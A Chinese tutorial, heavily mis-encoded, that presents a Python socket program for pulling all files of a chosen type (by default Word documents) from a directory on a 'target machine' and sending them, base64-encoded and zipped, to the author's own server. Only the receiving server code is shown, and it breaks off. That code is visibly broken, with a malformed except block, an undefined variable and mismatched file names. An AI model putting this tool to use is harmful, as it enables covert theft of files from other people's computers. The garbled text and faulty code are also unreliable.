這篇文章主要介紹了python實現(xiàn)獲取客戶機上指定文件并傳輸?shù)椒?wù)器的方法,涉及Python實現(xiàn)C/S架構(gòu)程序與socket程序的使用技巧,需要的朋友可以參考下

本文實例講述了python實現(xiàn)獲取客戶機上指定文件并傳輸?shù)椒?wù)器的方法。分享給大家供大家參考。具體分析如下：

該程序?qū)崿F(xiàn)了，把目標機器的某個目錄（可控）的所有的某種類型文件（可控）全部獲取并傳到己方的機器上。

1、用了base64的encode(infile,outfile)加密，以及decode(infile,outfile)解密，這是2進制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py，然后client.py放到目標機器，然后python client.py即可
4、本程序設(shè)置了獲取doc文件，修改extName可以獲取其它類型文件

服務(wù)器端程序：

復制代碼代碼如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #獲取加密數(shù)據(jù)

                encode_data = cs.recv(BUF_SIZE)

                #把數(shù)據(jù)寫到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                tmpfile.close()

                outfile.close()

                #打開zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #創(chuàng)建一個文件夾來存放獲取的zip文件

                if not os.path.exists(dicName):
